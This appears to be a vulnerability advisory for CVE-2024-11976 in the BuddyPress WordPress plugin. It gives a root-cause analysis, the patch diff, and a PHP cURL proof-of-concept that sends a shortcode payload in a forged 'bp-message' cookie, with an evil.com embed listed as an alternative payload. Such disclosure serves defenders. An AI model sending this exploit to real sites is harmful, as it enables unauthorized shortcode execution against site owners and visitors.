Atomic Edge analysis of CVE-2024-11976:
The BuddyPress plugin for WordPress versions up to and including 14.3.3 contains an unauthenticated arbitrary shortcode execution vulnerability. This flaw allows attackers to execute arbitrary WordPress shortcodes via a crafted cookie, affecting the core message display functionality. The CVSS score of 7.3 reflects the high impact of this security issue.
The root cause lies in the bp_core_setup_message() function within /buddypress/bp-core/bp-core-functions.php. This function processes the ‘bp-message’ cookie value without proper validation or sanitization. The vulnerable code at line 1650 directly assigns the cookie value to the template_message property after only applying stripslashes(). This value is later processed by do_shortcode() elsewhere in the codebase, allowing shortcode execution. The function lacked authentication checks and proper content sanitization.
Exploitation occurs through HTTP cookie manipulation. Attackers can set a ‘bp-message’ cookie containing arbitrary shortcode payloads. When a victim visits any BuddyPress page, the plugin processes this cookie value through the vulnerable bp_core_setup_message() function. The shortcode payload executes during page rendering. No authentication is required, and the attack vector works through standard HTTP requests. The ‘bp-message-type’ cookie can also be manipulated but does not directly contribute to code execution.
The patch implements two key fixes. First, it adds an authentication check at line 1645 in bp_core_setup_message() that returns early if the user is not logged in. Second, it wraps the cookie value processing with strip_shortcodes() at line 1650, removing any shortcode tags before assignment. The version numbers in bp-loader.php and class-buddypress.php were updated to 14.3.4. The bulk notification handler was refactored into a separate function with proper permission checks, though this change does not directly address the shortcode vulnerability.
Successful exploitation enables attackers to execute arbitrary WordPress shortcodes with the privileges of the visiting user. This can lead to information disclosure, privilege escalation, or remote code execution depending on available shortcodes. Attackers could leverage shortcodes that execute PHP code, access database content, or include external resources. The vulnerability affects all BuddyPress installations with vulnerable versions, requiring no user interaction beyond visiting a page where the attacker’s cookie is processed.
--- a/buddypress/bp-core/bp-core-functions.php
+++ b/buddypress/bp-core/bp-core-functions.php
@@ -1642,12 +1642,15 @@
* @since 1.1.0
*/
function bp_core_setup_message() {
+ if ( ! is_user_logged_in() ) {
+ return;
+ }
// Get BuddyPress.
$bp = buddypress();
if ( empty( $bp->template_message ) && isset( $_COOKIE['bp-message'] ) ) {
- $bp->template_message = stripslashes( $_COOKIE['bp-message'] );
+ $bp->template_message = strip_shortcodes( stripslashes( $_COOKIE['bp-message'] ) );
}
if ( empty( $bp->template_message_type ) && isset( $_COOKIE['bp-message-type'] ) ) {
--- a/buddypress/bp-loader.php
+++ b/buddypress/bp-loader.php
@@ -21,7 +21,7 @@
* Domain Path: /bp-languages/
* Requires PHP: 5.6
* Requires at least: 6.1
- * Version: 14.3.3
+ * Version: 14.3.4
*/
/**
--- a/buddypress/bp-notifications/actions/bulk-manage.php
+++ b/buddypress/bp-notifications/actions/bulk-manage.php
@@ -38,19 +38,19 @@
$notifications = wp_parse_id_list( $notifications );
// Delete, mark as read or unread depending on the user 'action'.
+ $result = bp_notifications_bulk_manage_notifications( $action, $notifications );
+
+ // Set message depending on the user 'action'.
switch ( $action ) {
case 'delete':
- bp_notifications_delete_notifications_by_ids( $notifications );
bp_core_add_message( __( 'Notifications deleted.', 'buddypress' ) );
break;
case 'read':
- bp_notifications_mark_notifications_by_ids( $notifications, false );
bp_core_add_message( __( 'Notifications marked as read', 'buddypress' ) );
break;
case 'unread':
- bp_notifications_mark_notifications_by_ids( $notifications, true );
bp_core_add_message( __( 'Notifications marked as unread.', 'buddypress' ) );
break;
}
--- a/buddypress/bp-notifications/bp-notifications-functions.php
+++ b/buddypress/bp-notifications/bp-notifications-functions.php
@@ -668,6 +668,56 @@
/** Helpers *******************************************************************/
/**
+ * Mark a batch of notifications as read or unread or delete them.
+ *
+ * @since 14.3.4
+ *
+ * @param string $user_id Action to run on notifications.
+ * @param array $notification_ids IDs of the notifications to change.
+ * @return bool True if the action run returned true.
+ */
+function bp_notifications_bulk_manage_notifications( $action, $notification_ids = array() ) {
+ $notification_ids = wp_parse_id_list( $notification_ids );
+ if ( empty( $notification_ids ) ) {
+ return false;
+ }
+
+ if ( ! current_user_can( 'bp_manage' ) ) {
+ // Regular users can only manage their own notifications.
+ $all_user_notifications = BP_Notifications_Notification::get(
+ array(
+ 'user_id' => bp_loggedin_user_id(),
+ 'is_new' => 'both', // Allow unread and read notices to be found.
+ 'update_meta_cache' => false,
+ )
+ );
+ $all_user_notifications_ids = wp_list_pluck( $all_user_notifications, 'id' );
+ $notification_ids = array_intersect( $notification_ids, $all_user_notifications_ids );
+ if ( empty( $notification_ids ) ) {
+ return false;
+ }
+ }
+
+ // Delete, mark as read or unread depending on the 'action'.
+ $result = false;
+ switch ( $action ) {
+ case 'delete':
+ $result = bp_notifications_delete_notifications_by_ids( $notification_ids );
+ break;
+
+ case 'read':
+ $result = bp_notifications_mark_notifications_by_ids( $notification_ids, false );
+ break;
+
+ case 'unread':
+ $result = bp_notifications_mark_notifications_by_ids( $notification_ids, true );
+ break;
+ }
+
+ return ( bool ) $result;
+}
+
+/**
* Check if a user has access to a specific notification.
*
* Used before deleting a notification for a user.
--- a/buddypress/class-buddypress.php
+++ b/buddypress/class-buddypress.php
@@ -460,7 +460,7 @@
/** Versions */
- $this->version = '14.3.3';
+ $this->version = '14.3.4';
$this->db_version = 13906;
/** Loading */
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-11976 - BuddyPress <= 14.3.3 - Unauthenticated Arbitrary Shortcode Execution
<?php
$target_url = "https://vulnerable-site.com"; // CHANGE THIS
// WordPress shortcode payload to demonstrate execution
// This example uses a generic shortcode that might exist on the target
$shortcode_payload = '[caption]Test Shortcode Execution[/caption]';
// Alternative payloads for testing:
// $shortcode_payload = '[gallery ids="1,2,3"]';
// $shortcode_payload = '[embed]https://evil.com[/embed]';
// Create a cURL handle
$ch = curl_init();
// Set the target URL (any BuddyPress page)
curl_setopt($ch, CURLOPT_URL, $target_url . '/members/');
// Set the malicious cookie containing the shortcode payload
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Cookie: bp-message=' . urlencode($shortcode_payload) . '; bp-message-type=error'
]);
// Capture response for analysis
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check if the request was successful
if ($http_code == 200) {
echo "Request sent successfully.n";
echo "Check the page source for executed shortcode output.n";
// Search for evidence of shortcode processing in response
if (strpos($response, 'wp-caption') !== false ||
strpos($response, 'gallery') !== false ||
strpos($response, 'caption') !== false) {
echo "Potential shortcode execution detected in response.n";
}
} else {
echo "Request failed with HTTP code: $http_coden";
}
// Clean up
curl_close($ch);
?>